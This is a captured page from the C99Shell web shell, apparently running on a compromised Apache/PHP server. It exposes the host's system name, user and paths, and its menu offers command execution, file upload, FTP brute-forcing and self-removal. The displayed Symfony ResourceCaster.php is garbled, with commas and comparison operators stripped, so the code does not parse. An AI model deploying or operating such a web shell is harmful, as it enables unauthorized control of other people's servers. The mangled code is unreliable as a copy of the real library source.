!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/symfony/var-dumper/Caster/   drwxr-xr-x
Free 28.79 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResourceCaster.php (2.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Casts common resource types to array representation.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @final
 *
 * @internal since Symfony 7.3
 */
class ResourceCaster
{
    
/**
     * @deprecated since Symfony 7.3
     */
    
public static function castCurl(\CurlHandle $h, array $aStub $stubbool $isNested): array
    {
        
trigger_deprecation('symfony/var-dumper''7.3''The "%s()" method is deprecated without replacement.'__METHOD__);

        return 
CurlCaster::castCurl($h$a$stub$isNested);
    }

    
/**
     * @param resource|\Dba\Connection $dba
     */
    
public static function castDba(mixed $dba, array $aStub $stubbool $isNested): array
    {
        if (
\PHP_VERSION_ID 80402 && !\is_resource($dba)) {
            
// @see https://github.com/php/php-src/issues/16990
            
return $a;
        }

        
$list dba_list();
        
$a['file'] = $list[(int) $dba];

        return 
$a;
    }

    public static function 
castProcess($process, array $aStub $stubbool $isNested): array
    {
        return 
proc_get_status($process);
    }

    public static function 
castStream($stream, array $aStub $stubbool $isNested): array
    {
        
$a stream_get_meta_data($stream) + static::castStreamContext($stream$a$stub$isNested);
        if (
$a['uri'] ?? false) {
            
$a['uri'] = new LinkStub($a['uri']);
        }

        return 
$a;
    }

    public static function 
castStreamContext($stream, array $aStub $stubbool $isNested): array
    {
        return @
stream_context_get_params($stream) ?: $a;
    }

    
/**
     * @deprecated since Symfony 7.3
     */
    
public static function castGd(\GdImage $gd, array $aStub $stubbool $isNested): array
    {
        
trigger_deprecation('symfony/var-dumper''7.3''The "%s()" method is deprecated without replacement.'__METHOD__);

        return 
GdCaster::castGd($gd$a$stub$isNested);
    }

    
/**
     * @deprecated since Symfony 7.3
     */
    
public static function castOpensslX509(\OpenSSLCertificate $h, array $aStub $stubbool $isNested): array
    {
        
trigger_deprecation('symfony/var-dumper''7.3''The "%s()" method is deprecated without replacement.'__METHOD__);

        return 
OpenSSLCaster::castOpensslX509($h$a$stub$isNested);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--